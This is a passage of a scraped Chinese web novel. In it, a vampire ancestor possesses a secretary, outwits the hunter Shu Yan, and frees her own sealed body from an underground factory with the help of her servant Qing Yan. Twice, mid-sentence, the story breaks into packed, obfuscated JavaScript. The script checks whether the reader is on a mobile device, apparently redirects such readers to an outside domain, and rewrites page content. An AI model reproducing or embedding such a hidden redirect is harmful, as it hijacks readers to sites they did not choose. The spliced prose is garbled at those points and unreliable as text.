《赛博尸祖,装乖保姆》 3. 计中计 献血大厅已然乱作一团,民众身后的软管纷纷脱落,在地板上蜿蜒出湿漉漉的血色暗痕,维持秩序的机械臂也全部瘫痪,发出垂死般的滋啦声。 短暂的死寂后,是压抑到极致的爆发。 “跑啊!” 不知是谁嘶喊了一声,如同投入滚油的水滴瞬间炸开了锅。 小童像只受惊的兔子,第一个挣脱了无形的束缚,头也不回地朝着敞开的大门狂奔而去,瘦小的身影一眨眼便消失在大厅门外。 两三个胆子稍大的,左右张望片刻,脸上交织着恐惧与侥幸,最终也咬咬牙,跌跌撞撞地跟了出去。 然而,绝大多数人依旧像被钉子钉在了原地,他们脸上写满了麻木和深入骨髓的恐惧,眼神空洞地扫视着周遭。 “没……没说让咱们走啊,要不咱再等等?”一个中年男人声音发颤,打破了沉默。 “对啊,再等等吧。”旁边一个妇人立即附和,“公家执行任务,报废了几台机器而已,待会儿肯定还有备用的抽血设施。” “嗯嗯。”此时已经有不少人点头,剩下犹豫不决的人站也不是坐也不是。 直到年轻“老头”发话:“嘿!居然还有人敢走,你们不会不知道吧?每个人献了多少血,联邦可都是有系统记录的,想偷偷赖掉这个月的献额,你们怕不是都把公家当傻子了!” 说完他瞅了眼舒厌,见舒厌把他当空气,努努嘴又道:“再说了,只有献血达标才能领到血晶,有了血晶买点吃的喝的补一补,多出来的还能找个仿生人消遣消遣,日子不也过得挺好的么。又不是每个人都能在联邦做大贡献,咱小老百姓,尽点绵薄之力,献个血而已,别为难长官们了。” 这些话如同一管强心剂,在场的人几乎全都坐回了等候席。 原先那几个抬脚想走的,此时都觉得有些尴尬,找补道:“诶,我们刚才只是想把小童他们找回来……要不咱还是别乱跑了,万一被当成拒献者抓起来那可就冤枉了……” 大厅一时间安静下来,角落里一个黑金描边制服的女人百无聊赖,蚩蓠注意她很久了,本以为她是献血大厅的管理员,可小童拒献时她一声不吭,青魇被杀她也没什么反应,女人只是不停地往舒厌这边张望,似乎在等待机会过来搭话。 蚩蓠也在等待着她。 可不等女人有所行动,一阵整齐划一的脚步声由远及近,十几个身着同样黑金制服的外勤人员,迅速而有序地涌入了献血大厅。 他们装备精良,防毒面具遮住了大半张脸,只露出锐利的眼睛,动作训练有素,很快便接管了这片混乱的现场。 领头的小队长扫视全场,蜻蜓点水般朝舒厌点头,声音透过面罩的扩音器传出,带着不容置疑的权威:“目标青魇已被猎尸队舒厌击毙。A组,封锁现场,清理残骸!B组,检查设备损坏情况,回收关键数据!C组,带滞留民众去做详细笔录,一个不漏!动作快!” 命令下达完毕,外勤人员迅速执行起来。 两个外勤走向等候席,声音平板无波:“跟我们走。” 民众们瞬间全体起立,仿佛慢了一拍就会被当成拒献者似的,提线木偶般跟着外勤离开了。 其余人员则按照分工,有人小心翼翼地用特制的密封容器和工具,清理青魇的残骸,有人检查着瘫痪的抽血装置,顺便不满地瞅了眼大厅中央的始作俑者舒厌。 “舒队长,青魇已经死了,剩下的事交给我们外勤部处理就好,您在这里还有其他什么事吗?”领头的负责人不太客气。 “再等会。”舒厌漫不经心地回答。 他将帽兜后拉,摘下防毒面具,动作随意却带着一种古典的优雅,跟外勤部大多数人冷硬的机械感格格不入。 面具下露出的,是一张过分年轻也过分英挺的面孔,鼻梁高挺,下颌线条利落如刀削斧凿,最令人心跳加速的是那双眼睛,深极黑极,邃如寒潭。 他修长的手指在耳骨上轻轻一触,一道微光闪过,战术目镜无中生有地出现在他的鼻梁上,镜片上浮现出幽蓝的动态数据流,瀑布般流淌着。 蚩蓠虚弱的意识体艰难地飘荡,她极力收缩着自己的存在感,然而,就在舒厌摘下防毒面具的瞬间,蚩蓠猛地一滞。 千年时光,足以让沧海化作桑田,让王朝灰飞烟灭。可眼前这张脸,竟与封印她时一模一样,岁月仿佛在他身上凝固了,连一丝细微的皱纹都未曾增添。 一股寒意攫住了蚩蓠。 他到底是什么东西?他真的是当年封印她的那个人吗? 舒厌战术目镜边缘,一点微弱的红光急促闪烁,几乎是同时,他那毫无波澜的声音响起,带着一丝玩味的探究:“‘检测到异常能量波动’啊,有趣……” 他的眉宇闪过一丝不易察觉的狡黠,开始循着智脑的提醒,在大厅中细细搜索起来,那神态就像一个百无聊赖的小孩,在通关了枯燥的游戏后,突然发现了一个隐藏彩蛋。 “长~官~”,一个娇嗲得近乎扭曲,与现场肃杀氛围格格不入的声音,突兀地打断了舒厌的探寻。 角落里的制服女人扭着腰肢走来,在一群统一着装的工作人员里,她的衣服明显经过改装,贴身得多,妆容简直武装到了头发丝,极致美艳,眉眼间带着一股刻意营造的媚态。 她跳过想要与她搭讪的外勤负责人,凑到舒厌近前,拉长的尾音带着钩子:“我跟巡逻队打了声招呼,那个叫小童的丫头,已经被他们请去喝茶啦~” 舒厌的眉头几不可察地蹙了一下,眼中掠过一丝被打扰的不耐,他目光甚至没有从智脑提示的方向移开,只是用眼角的余光冷淡地扫了她一眼:“知道了。让开。” 女人非但没有让开,反而又朝前逼近了小半步,几乎要贴到舒厌身上,她故意用鞋尖碾了碾光滑的地面,娇声道:“哎呀,长官~我脚下……是不是踩着什么东西了?怎么感觉有点硌得慌呢?” 蚩蓠无语,她的计划可全靠这个女人了,别跟舒厌走那么近行不? 说话间,女人微微仰起脖颈,这个动作让她颈侧那片异样的青紫血管更加清晰地暴露在空气中。 那血管突突跳动着,颜色深得不正常,如同皮下埋藏着蠕动的毒虫,散发出独特而熟悉的不详气息,蚩蓠能感受到,那是长期接触她尸毒形成的痕迹。 不仅如此,女人血管有两个小小如孔洞的齿痕,还未完全愈合,细细的血腥气在向蚩蓠招手。 她在原地轻盈地转了个圈。 就是现在! 蚩蓠残存的意识顺着微不可查的伤口攀附而上,女人的脸恰好背对着众人,脸上甜腻的笑容瞬间凝固,瞳孔剧烈收缩,眼白被翻涌的黑雾占据。 夺舍在转身那一瞬完成。 这具身体意外地合拍,那些渗入女人肌肤的尸毒,早在日积月累中将她改造成活尸容器,且是蚩蓠再合适不过的容器。 如果不是这个“活尸容器”的出现,蚩蓠根本不会采用如此大胆的计划,更别提抛弃青魇的残躯,让自己的意识体暴露。 没错,杀死青魇,夺舍女人,这一切都是蚩蓠的险之又险的计划,幸好,暂时算是成功了。 占据新躯壳的蚩蓠,喉咙里发出一声似是叹息又似满足的吸气声,她迅速压下身体本能的排斥反应,强行控制住肌肉的痉挛,脸上扭曲的表情变脸般迅速敛去,重新挂上那副甜腻得令人不适的笑容。 转身完毕,蚩蓠用女人的身体重新在舒厌面前站定,她甚至朝舒厌敬了一个标准又带着点浮夸的礼,声音恢复了之前的娇嗲:“哎呀,原来是鞋子太紧了呢。长官~我这就滚。”说罢就要走。 “等等。”舒厌的声音不高,却像冰冷的锁链,缠住了她的脚步。 一只戴着黑色战术手套的手,极其自然地搭在了她的肩膀上,那看似随意的触碰,却带着千钧重压,让蚩蓠的肌肉瞬间绷紧。 “新来的?” 蚩蓠鸡 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舒厌的鼻翼几不可察地翕动了一下,战术目镜后的眼睛微微眯起,薄唇勾起一个近乎刻薄的弧度,声音压得极低,带着毫不掩饰的嘲弄: “外勤寒黎,你的香水是殡仪馆生产的吗?跟千年吸血僵尸的体味不相上下。” 蚩蓠指尖猛地一抽,一股被冒犯的狠厉杀意差点冲垮伪装,她强行压下翻涌的尸毒,脸上那甜腻的笑容却纹丝不动,甚至更盛几分,眼波流转间抛出一个媚眼,拖着令人起鸡皮疙瘩的长长尾音。 “唉哟~您可真会开玩笑,这是最新款斩男香啦~您不喜欢吗?长~~官~~” 舒厌直起身,脸上那点嘲弄的弧度也消失了,恢复了公事公办的冷淡,他仿佛没听见蚩蓠那番做作的辩解,直接下达命令:“正好,血晶地下工厂的烂摊子需要人手帮忙。你,跟我下去。” “嗯……好,好吧。” 蚩蓠故作迟疑地应了一声,心底却转过了无数念头,她本能的第一个反应是立刻远离这个极度危险的敌人。 然而,目光扫过大厅角落里的吸血装置,扫过被外勤像赶牲口一样带去做笔录的民众,一股怒意混杂着奇异的责任感涌了上来。 封印千年,她手上沾染的鲜血不少,但从未主动吸食过新鲜的人类血液,更不屑于虐杀无辜。 可这个所谓的联邦,竟敢将她当作能源炉,更用如此残酷虚伪的手段压榨民众献血,强行填鸭给她。 从青魇破碎的记忆中她也知道,昔日高傲的猎人氏族,如今美其名曰“猎尸队”,也沦为了联邦豢养的爪牙。 血晶工厂是舒厌负责的地盘,说不定正是他想出的恶毒招数,将蚩蓠的本体囚禁至此。即使不是他的主意,至少也是他将本体交给联邦的,更别提他就是那个确保蚩蓠的本体日夜不息产尸毒的监察者。 与其坐以待毙,不如主动出击,深入虎穴! 舒厌或许掌握着解除封印的关键信息,接近他虽然与走钢丝无异,风险巨大,但收益同样惊人,这或许是她最快找到解除本体封印的途径。 蚩蓠瞬间做出决断,脸上也适时地露出一副“能为长官效劳是我的荣幸”的殷勤表情。 她调整了一下站姿,正准备迈步跟上舒厌。 突然,已经转身走出几步的舒厌,毫无征兆地停了下来,他微微侧过脸,并未完全回头,只是用一种带着恶劣趣味的低沉嗓音,凑近她耳边说:“对了,寒黎,你担任我的生活秘书,处理我的私人日程,整理我的衣橱,甚至帮我挑选……嗯,合适的香水,已经整整两年了,你的工牌上有写。” 蚩蓠脸上的笑容瞬间僵死,下意识就想抽出胸前的工牌。 舒厌似乎轻笑了一声,那笑声极低,却像针刺扎进蚩蓠的耳膜。他不再停留,迈着轻快的步伐,径直朝通往地下工厂的入口走去。 蚩蓠彻底僵硬地站在原地,顶着那张精心描画,此刻却显得无比滑稽的脸,感觉一股寒意从脚底板直冲天灵盖。 ……现在逃还来得及吗?! 4. 小牺牲 蚩蓠几乎是粗暴地扯下了工作牌,牌面上印刷着【能源控制署-外勤部后勤队助理-寒黎】的字样,并没有写生活秘书,更别提还干了两年这样的细节。 就在她盯着那行字,心头疑云密布时,仿佛有一道无形的开关在她脑域深处按下,垂死的神经元重新连接,不属于她的记忆碎片,蛮横地冲破了意识的壁垒。 属于寒黎的记忆不断回闪。 原来舒厌所在的猎尸队名义上隶属外勤部统管,实际却向联邦能源控制署署长直线汇报,地位不一般。而献血大厅里处理后续工作的,是外勤部下属的后勤队,寒黎虽然挂职后勤队,本职工作却是舒厌的专属生活秘书。 什么乱七八糟。 难怪后勤队队长看不惯舒厌,寒黎占了后勤队编制,干的却是猎尸队的活,这也就算了,主要寒黎这种浓颜系大美女,哪个颜控不喜欢,可她偏偏只在舒厌面前“做低伏小”,看不上其他人。 不知道从什么时候起,外勤部人人都在传舒厌有怪癖,喜欢僵尸的体味。 寒黎一听,以她对舒厌粗浅的了解,也不是没这可能,干脆豁出去了,不惜在黑市搞到蚩蓠的尸毒,花大价钱做了净化,萃取后外敷内服。 有天她甚至泡了个尸毒味的澡,从里到外腌入味后,忐忑地靠近正在调试武器的舒厌,对方眉头都没皱,寒黎本以为这回定能成功,结果舒厌还是那两个字:“出去……” 呃……这什么奇葩?? 蚩蓠怎么就夺舍了这么个没脑子的家伙,而且偏偏在最需要的时候掉链子失忆,不是存心弄死她嘛。 蚩蓠深吸一口气,三步并作两步追上舒厌,尽可能模仿着寒黎的神态,脸上堆起委屈和怪嗔说: “长~官~我跟您开玩笑呢!谁叫您平日里啊,连个正眼都不舍得给我,空气在您眼中都比我有意思一万倍,我寻思,您怕不是真的把我这秘书长什么样都给忘到九霄云外去了?刚才您还问我‘新来的’,我心里啊……简直凉透了,我那个气呀,干脆顺着您的意思演下去了嘛。嗯……您大人有大量,不会真的生我的气吧?” 舒厌的脚步没有丝毫停顿,甚至连头都懒得回,他重新戴上防毒面具,不轻不重地回:“没有。” 见对方浑不在意,也不知道有没有听进去,蚩蓠简直比吃了蛆虫还难受,千年前谁敢这么捉弄她,早就灰飞烟灭了。 她强行压下翻腾的杀意,意识到一个更严重的问题。 不知道是不是没了强大的肉身加持,还有连续夺舍和意识体的损伤,似乎严重影响了她的判断力和控制力,在对寒黎身份认知不全时贸然接话,结果一头栽进了舒厌精心布置的语言陷阱。 可是,舒厌既然已经怀疑蚩蓠不是真正的寒黎,他为什么没有马上控制自己?反而像遛狗一样带着她深入这本是绝密地点的地下工厂。 玩的什么把戏? 是了,他一直都喜欢戏弄她,以前就是。猫捉老鼠,从来都不是一击致命,玩到对方精疲力尽,最后再折磨致死,才是舒厌的拿手好戏。 不过,蚩蓠暂时也没有更好的对策,本来目的就是接近舒厌寻找解封方法,乐观点想,计划已经实现一半了。 其他的,兵来将挡,水来土掩吧。 千年风浪都过来了,还怕他一个杀不死自己最后只能封印的猎人?哼,走着瞧! 血晶地下工厂沉重的防爆门在液压装置的嘶鸣中缓缓开启。 舒厌戴上防毒面具,一言不发地走下去,在接近最深的负十五楼,也就是蚩蓠本体的尸身所在时,他突然停下脚步,回头朝蚩蓠比了个噤声的手势。 一股远比献血大厅浓郁百倍,裹挟着浓烈的焦糊味和金属熔毁的刺鼻气息扑面而来,在经过防毒面具过滤之后,蚩蓠的尸毒才缓缓暴露到两人鼻腔。 那是一种令她的灵魂都感到刺痛和愤怒的恶臭,虽然源自她本体,却是被强行抽离转化后异变的,就连高性能防毒面具也无法过滤。 蚩蓠面具上的智能镜片感应到环境变化,切换为热成像模式,她的视线变成一片由深浅不一的橙红色与冰冷蓝黑构成的诡异世界。 眼前的景象触目惊心,将近十余米高的穹顶下,那些原本如同巨兽心脏般规律脉动的金属舱,此刻像被粗暴地开膛破肚,里面用于转换她尸毒的精密结构弯曲变形,断裂的管线如垂死的触手耷拉着。 金属舱周围残留着灭火泡沫,莹蓝色的冷却液从破口处缓缓流出,冷却液勉强降低了爆.炸产生的高温,却对空气中弥漫的尸毒束手无策。 最让人心悸的事那些散落在各处的人影,穿着防护服的工作人员姿态扭曲地倒伏在控制台和管道旁,有些甚至浸泡在冷却液里。 他们橙红色的生命热源正在以肉眼可见的速度黯淡,边缘泛起象征体温流失的深蓝,几个离爆.炸中心或尸毒泄漏点近的人,热源轮廓已经变得模糊不清。 这些人不仅仅是中毒,他们的肉.体正在被高浓度尸毒急速腐蚀分解,如果得不到及时的净化救治,很快,他们就会化为一滩滩与青魇残骸无异的腐臭烂泥。 真是奇怪…… 蚩蓠的心沉了下去。 她清楚地记得,舒厌为了追捕夺舍青魇的自己,只是用箭矢射穿了几根导管,仅仅引发了小规模泄露而已。 怎么才十几分钟的功夫,整个地下核心工厂就变成了这副炼狱景象? 巨大而混乱的空间里,唯一完好无损的,只有静静安详在正中心的血棺。 它像风暴中的孤岛,在热成像视野中呈现出一种非生命体的恒定暗红色轮廓,沉默而孤远,仿佛在冷眼周遭的毁灭与她何干。 时间一分一秒走过,每一秒都伴随着生命热源的消逝。蚩蓠并非悲天悯人,但眼前的情景让她本能地感到不安,混乱的源头不明,舒厌的沉默更显诡异。 她摸索着寒黎记忆里关于智脑的操作方式,尝试着在内部通讯线上发出了一条加密信息。 「长官,我们不过去看看吗?」 「不用。」 「……好像有不少同事受伤很重,生命体征微弱,真的不用管他们?」 「寒黎,你什么时候对同事这么上心了?」 「什么啊,我一直对同事都很上心,尤其是您!长官!您的事就是我的头等大事!(星星眼)」 「哦?很好。那你一定非常愿意为我做出一点小小牺牲吧?」 「别说小牺牲,再大也的牺牲我也——」 “唔!” 蚩蓠“也”还没有打完,只觉右腿膝盖窝遭到一记猛踢,她整个人瞬间失去平衡,人已经飞在空中了。 十几米高的穹顶在眼前急速远离,失重感攫住了她,蚩蓠觉得自己可能马上又要换一具肉身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一声轻笑,带着毫不掩饰的愉悦和戏谑,在不远处响起,那声音平稳得仿佛刚才发生的一切混乱都与他无关。 蚩蓠艰难地转动脖颈,透过沾满污渍,布满蛛网裂痕的防毒面具镜片,看到了那个笑声的来源。 舒厌好整以暇地站在几米外,战术服纤尘不染,他甚至悠闲地掸了掸并不存在的灰尘。 “等你很久了,看你在通风管道里上吊辛苦,我瞧着都累,所以……还是决定帮你一把。青魇。” 什么?! 蚩蓠的大脑仿佛被惊雷劈中,瞬间一片空白。 青魇!!! 这个名字像淬了毒的利刃,一刀捅进蚩蓠的心腔。 不可能!绝对不可能! 她故意将青魇的躯体暴露在舒厌的眼皮下,她亲眼看着对方在献血大厅崩解成泥,还有青魇的意识,在她尸祖之血逆灌时就已经湮灭了! 极度的震惊让蚩蓠暂时忘却了身体的疼痛和眩晕,她用尽力气,几乎是粗暴地擦拭着布满裂痕的镜片。 在有限而扭曲的视野里,她死死圈定了那个正从她身边踉跄爬起的身影。 轮廓,身高,起身时刻入骨髓的优雅姿态……最后,那张俊秀净白的脸。 真的是青魇。 5.他跑了 青魇起身的同时,原本一人高的巨大蝠翼随着他摆臂的动作收拢折叠,最终完美隐入那件看似普通的黑色西装外套之下,化作线条利落的长袖,一丝褶皱也无。 “真没想到,尊贵无比的尸祖大人,竟被你们塞在这种低贱的流水线工厂里。” 青魇声音低沉沙哑,愤怒且克制,他的视线扫过周围狼藉的金属残骸和凝固的冷却液,眉头皱得更紧了。 舒厌闻言,轻轻鼓了鼓掌,语气带着几分虚假的赞叹:“你这个分.身战斗力虽然不怎么样,却可以在血晶工厂潜伏整整十年不露马脚,耐心和伪装技巧倒是令人刮目相看。” 他话锋一转,遗憾地摇头,“可惜了,真是可惜了。” “最后不是照样被您一枪崩了嘛。”青魇冷笑,毫不客气地反唇相讥,“舒长官,何必在这里假惺惺的,呵,您该不会是在给自己管理疏忽找借口开脱吧?” 两人看似闲聊,眼中杀意与试探却已交锋无数次。 蚩蓠干脆把脸上那顶摔得稀碎的防毒面具扔开,青魇挺拔而阴郁的身形在她的视野中愈发清晰。 原来如此,蚩蓠心下恍然,之前在献血大厅化为蝙蝠枯骨的,仅仅只是青魇的一个分.身。 仔细想来,如果青魇当真孱弱至此,又怎么可能在猎人氏族千年的残酷追捕下存活下来? 那些关于过往的翻涌心绪,仿佛浓烈的情感颜料一下子被水冲淡了,滴水恩也好,滔天恨也罢,都在眼前这个青魇出现后,变得不真实起来。 可蚩蓠才不是被情绪左右的存在,不管有几个青魇,于她而言,标准只有一个:有利则用,有害则除! 她的丛林法则向来如此简单直接。 眼见两人杀气愈盛,蚩蓠毫不犹豫蹲下.身,动作迅捷地从旁边一具早已死透的工作人员脸上扒下尚算干净的防毒面具,迅速戴好,急急退到角落。 面对青魇尖锐的讽刺,舒厌不见半分怒气,反而慢条斯理地抬起一只手,一根一根竖起手指,如同清点货物般悠然。 “让我想想,操作室的刘杰,控制台的王一川,三号门的安保李民……嗯,就连我们后勤队那个总抱怨伙食的张帆,还有刚才在献血大厅带头起哄的年轻老头……都是你的分.身,没错吧?” 舒厌每报出一个名字,青魇的脸色就阴沉一分,到最后,他本就青白的脸已是难看至极,声音因压抑的怒火微微震颤:“废话少说,把尸祖大人还来!” “别急嘛,”舒厌的笑容愈发狡黠,“被我亲手处决的那个分.身,好像……背叛了你。他明明知道尸祖的藏身地,却没有把情报提供给你,反而选择独自偷偷潜入这地下核心工厂,甚至——”他刻意拖长了语调,欣赏着青魇倏然变化的脸色,“还亵渎了你最敬爱的尸祖大人。” “你说什么?!”青魇周身气息变得狂暴不安,那些刻意压抑的怒气已然窜体而出。 “真可怜,你居然被自己的分.身蒙在鼓里?”舒厌故作惊讶,随即用最平淡的语气抛出让青魇最无法接受的事实,“那我告诉你好了,他喝了尸祖的血,只是他无福消受,中了剧毒,就算我不出手,他也活不了多久了,我不过让他死得稍微痛快一点而已。” 青魇沉默下来,眉头紧锁,眼神晦暗不明,似乎在急速消化这惊人的信息。 舒厌才不等青魇思考,他步步紧逼:“让我猜猜,现在站在我面前的这个,是又一个分.身呢,还是你这尊本体终于舍得亲自下场了?” 青魇脸色巨变,似乎刚刚才意识到舒厌先前话术中的陷阱:“你……” 舒厌看似闲聊的慵懒姿态转瞬消失,他左手快如闪电,这回他并没有使用惯用右手握住的电弧等离子枪,相反,他用的是一把制作精良却造型古朴的木质手.枪。 “砰!砰!砰!” 木质子弹的射速并不快,甚至能看清飞行的轨迹,然而青魇的身体却像是形成了某种战斗记忆,下意识朝舒厌身体右侧的方向进行闪避,不料舒厌此次用的却是左手.枪,攻击完全来自相反的方向。 就是这瞬息间的误判,青魇闪避的动作慢了半拍,一颗刻满密宗真言的桃木子弹,狠狠贯穿了他的肩胛骨。 “呃——”青魇发出痛苦的嘶吼,巨大的冲击力将他整个人带得向后飞起,重重撞在冰冷的血棺棺壁上。 那子弹一侵入体内,迅即爆裂开来,化作无数枚更细小的木钉,木钉在他的骨肉经络间持续游走,仿佛骇人的活物,甚至发生了二次爆裂,每一次爆裂都炸出好几个血肉模糊的窟窿,窟窿不断自我扩大,啪啪的爆破声听得人头皮发麻。 舒厌一步踏前,战术皮靴踩住青魇喉头,将他死死钉在棺壁上,居高临下地俯视他:“想要夺走尸祖?可以。但要看你有没有这个本事了。” 他的声音依旧平静,却带着绝对的压迫感,“你的分.身或许能侥幸找到这里,但离真正从我手中夺走尸祖,你还差很远。” 就在这时,舒厌身后一缕极其微弱的黑色尸毒,正从蚩蓠指尖悄然渗出,无声无息地向他后颈逼近。 意识脱离本体后,蚩蓠的能力虽然被大大削弱,但调用自己在工厂随处可见的尸毒,乃至操控继承了一切尸祖之力的东西,都还是轻而易举的。 就在黑雾即将触碰到舒厌皮肤的刹那,他毫无征兆地转过头,目光精准地落在蚩蓠脸上,语气自然得像是在吩咐一件日常琐事。 “寒黎,这双靴子沾上脏东西了,回头找后勤部给我领双新的。” 蚩蓠心中巨震,几乎以为被发现了,但她反应极快,瞬间收敛所有尸毒,脸上堆起属于寒黎的谄媚表情:“……知道了,好!” 尸毒虽然没有碰到舒厌,但经蚩蓠操纵,散逸出微弱的力量,已足够在不知不觉间麻痹舒厌的感知神经。 蚩蓠很清楚自己在做什么,既然青魇本体并未背叛她,甚至执着于找回她的躯体,那他就还有拯救的价值。 在这个陌生的时代,多一个强大且忠诚的盟友,远胜于多一个可怕的敌人。 青魇仰躺在血棺棺壁上,剧痛让他冷汗直冒,额角青筋暴起,身体控制不住微微痉挛,可他并不在意。 他的头艰难地偏过一侧,目光穿透污浊的空气,贪婪而专注地凝视着血棺,他溃烂、不断吐着黑血的嘴唇剧烈颤抖着,发出一些破碎不堪的音节。 也许在旁人听来只是无意义的呻.吟,但蚩蓠听懂了,那是冷血生物用来交流的语言,他在用尽最后的气力诉说:“尸祖大人……末将……失职……末将来接您……回家……” 蚩蓠指甲掐进掌心。 舒厌举起那把制作古朴的桃木枪,比冷血生物更冷的枪口再次对准了青魇的额头,他仍是慢悠悠的语调,却带着致命威胁:“青魇,都到这一步了,你还要负隅顽抗,耍这些无聊的花样么?” 青魇的躯体已接近四分五裂,再拖下去,恐怕这具本体要彻底报废在此! 就在舒厌即将扣下扳机的千钧一发之际,蚩蓠突然惊声尖叫,声音充满了恰到好处的慌乱,手指颤抖地指向被封印的尸祖:“长官!血棺里面!有异常能量反应!” 即便是舒厌,听到尸祖异变的可能,注意力也不由自主地被分散,目光下意识就朝蚩蓠所指的方向瞥去。 正是这瞬息的机会! “吼!!!” 原本奄奄一息的青魇爆发出最后的疯狂力量,他腐化的胸腔猛地裂开一个巨大的豁口,涌出无数裹挟着浓稠尸毒的红眼黑蝙蝠,汹涌澎湃地扑向舒厌。 舒厌旋身开枪,左手木枪,右手电弧等离子枪,枪声与电弧的爆鸣声交织,扑在最前面的蝙蝠群被清空一片,化作焦黑的残骸雨点般落下。 然而,蝙蝠的数量实在太多太密,根本阻挡不及。 与此同时,周围那些原本俯卧在地的外勤,此刻竟有十余人猛地从地上一跃而起,刚才还在装体温流失苟延残喘,现在却动作灵敏得像群豹,纷纷架起不知何时握在手中的便携式能量火炮,对准空中密集的蝙蝠群猛烈开火。 “护住血棺!别让流弹损伤馆体!”舒厌在蝙蝠的围攻中吼道,顺带丢给蚩蓠一把轻型□□。 他自己则背靠血棺,用等离子能量枪疯狂射击,无数蝙蝠扑簌簌落下,在地上溅起腥红焦臭的黑墨。 “遵命!长官!”蚩蓠响亮地应声,一把接住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201466|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' □□,显得手忙脚乱却又异常努力。 她笨拙地摁下开关,一道三米长的蓝紫色火焰激射而出,她一顿操作猛如虎,两只蝙蝠被烧得翅膀冒了烟,拍拍火星子,又扑腾扑腾飞走了。 锐利的目光杀过蚩蓠,舒厌毫不留情地将桃木枪再次对准青魇,然而,就在这毫秒之内,青魇的躯体彻底溃烂,最终只在血棺棺壁上,徒留一件空空荡荡的西装外套。 “天网收缩!封锁所有通风管道!蝙蝠一个不留!”舒厌对着智脑发出指令。 天花板上传来机械运转的轰鸣,一张闪烁着高压电弧的巨型金属织网顷刻落下,铺天盖地,几乎将整个地下核心工厂笼罩在内,那些正想从通风管道逃窜的蝙蝠被拦截禁锢,牢牢锁在电网之中。 周围的外勤刚松一口气,以为成功抓捕目标。 就在此时,蚩蓠隐藏在防毒面具下的嘴角勾起一抹无人察觉的弧度,她在一片混乱喧嚣中悄无声息地打了个响指。 仿佛触动了某个诡异的机关,那些原本手掌大小的蝙蝠,身体开始剧烈地颤抖,抽搐,继而一分为二,二分为四,四分为八……越变越多,越变越小,直到变成比天网密织的空隙还小的大小。 喂给幼年青魇的那滴尸祖之血,在千年后可以进化成他的分.身能力,自然也能被蚩蓠强化,乃至调用。 成千上万的迷你蝙蝠钻出天网,人们的视线范围内只剩下一片密密麻麻的漆黑。 “滚开啊滚开!” 几个外勤撕心裂肺地嘶叫,他们无比惊恐地发现自己已经被婴儿指甲盖大小的蝙蝠团团包围,它们无孔不入,钻进衣物的缝隙,附着在皮肤上,用尖细的口器刺入,吸取着血液和能量。 “啊啊啊啊——” “不要啊!好疼!好疼!” “救我!长官,救我!” 惨叫声此起彼伏,现场陷入极度混乱。 突然,一道亮如白昼的火光冲天而起,如同撕裂黑暗的雷霆,在无尽的蝙蝠黑海中硬生生杀出一条通道。 舒厌收起其他武器,手中紧握着一柄能量狂暴的电鞭,他每挥动一次,黑夜就亮起一道惨白的鞭痕,所过之处,噼啪作响,大量微型蝙蝠被焚成灰烬。 数次挥鞭之后,蝙蝠暂时被清空一片,蚩蓠趁机看清周围,那几名惨叫的外勤已是千疮百孔,暴露的皮肤上布满了细细的咬孔,血迹斑斑。 黑夜迎来了曙光,电鞭残留的高压能量在空中嘶嘶作响,形成一片暂时的安全区,蝙蝠只能绕道飞行,蚩蓠看着舒厌,心道不能再拖下去,必须帮青魇速战速决了。 蚩蓠本来就站在血棺附近,手心扬起尸毒,让毒气顺着原本安插导管的孔洞渗入棺内,棺内的尸毒极具膨胀,气压暴涨,血棺棺盖马上就要撑不住了。 舒厌敏锐地觉察到棺内异变,他掌心下压,想要控制住棺盖飞起的势头。 然而,棺内蓄积的尸毒能量与他的力量猛烈对撞,在他难以置信的目光中,那坚固无比的血棺棺盖,竟在半空中四分五裂,最后化作无数碎片激射开来。 舒厌的目光急切地投向棺内,似乎想要确认是否真的有异常能量波动。 血棺内的尸祖彻底暴露在他们面前,那是一个肤色苍白,唇色腥红的女人,心口深处插着一柄断开的桃木剑。 填鸭灌血的口枷已然脱落,她嘴角微启,挂着一丝若有若无的笑意,样子很是安详。 舒厌还想再看,却见血红眼的蝙蝠发起了最后的冲锋,自杀般蜂拥而至,死死纠缠住他的视线和行动,舒厌想要举起电鞭,动作却明显迟滞了一下。 蚩蓠将他的乏力看在眼里,心下后怕,这新躯体使用起尸毒还真是效果不佳,发作实在太慢了。 就在这短暂的阻滞下,所有的蝙蝠如同接到了统一的指令,汇聚成一股最后的黑色洪流,以惊人的速度涌向通风管道入口,瞬间消失得无影无踪。 跟随蝙蝠一同消失的,还有血棺里被封印的尸祖。 地下工厂核心区,只留下一片狼藉,碎裂的棺盖,焦黑的蝙蝠尸体,惊魂未定的外勤人员,以及……脸色阴沉得可怕的舒厌,和仿佛也被这场面吓住了的蚩蓠。 6.搅局者 能源控制署顶层会议室,气压低得仿佛能掐出水来。 长达两小时的质询刚刚结束,舒厌便收到了会议邀约,报告内容已同步到会议室主屏和与会者智脑终端。 一个面容威严的中年男人坐在长桌中央席位,食指和中指轮流敲击着光洁的桌面,发出沉闷的叩响,每一记都敲在与会者的神经上。 “所以,血晶一号地下核心工厂的监控系统,在一天前就出现了故障?整整二十四个小时,系统部无一人察觉?「归零」也毫无预警?” 「归零」是联邦专属AI的名字,以零失误和无死角监控扬名在外,职责上归系统部管辖,系统部平时是最清闲最养老的部门,从未被抓过典型,这次却闯了个大祸。 “报、报告署长,我们查过了,不光监控系统,「归零」也曾被黑客短暂入侵,大概率是青魇搞的把戏吧,我们……” 不等系统部负责人杜凡说完,联邦能源控制署的最高掌权者打断了他,仇怜央带着不容置喙的压力:“‘大概率’?意思是你们系统部到现在都没有弄清楚究竟是谁入侵了「归零」?” “我……呃……就是……” 